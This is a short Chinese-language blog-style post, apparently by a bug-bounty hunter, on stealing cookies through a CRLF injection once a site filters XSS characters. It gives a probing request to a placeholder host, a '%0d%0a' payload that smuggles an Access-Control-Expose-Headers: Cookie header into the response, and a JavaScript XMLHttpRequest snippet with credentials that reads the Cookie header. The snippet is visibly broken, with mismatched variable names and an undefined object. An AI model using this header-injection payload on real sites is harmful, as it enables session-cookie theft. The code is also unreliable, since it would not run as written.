CRLF在过滤XSS语句后打Cookie方式
看了很长时间的漏洞奖励计划,学到了不少骚姿势,我觉得这个姿势很不错,总结下写篇文章发出来。针对CRLF漏洞打cookie的方法。
这里不讲概念挖掘方式了,以实战为主:
阅读文章前先参考文章:http://www.ruanyifeng.com/blog/2016/04/cors.html
这篇文章对CORS跨域写的的很好,让我的思路清晰了很多,看完这篇文章下面的所谓骚姿势就一点都不骚了哈哈
利用:
目标网站:http://xxx.com/
请求:
GET /a?test=b HTTP/1.1
Host: xxx.com
响应:
HTTP/1.1 200 OK
test=b
感觉可能存在crlf有戏,直接打cookie试试,这里网站过滤了xss语句,<>都被过滤:
偷cookie:
GET /a?Access-Control-Expose-Header%0d%0as=Cookie
Host: xxx.com
响应:
HTTP/1.1 200 OK
Access-Control-Expose-Headers: Cookie
写段脚本,发起异步请求:
var requesta = new XMLHttpRequest(); var url=”http://xxx.com/a?Access-Control-Expose-Header%0d%0as=Cookie” request.onreadystatechange = function () { if(requesta.readyState == getcookie.DONE) {//getcookie.DONE==4 document.write(requesta.getResponseHeader("Cookie"));
}
} requesta.open('GET', url, true); requesta.withCredentials = true; requesta.send();
发包即可。然后页面会显示cookie。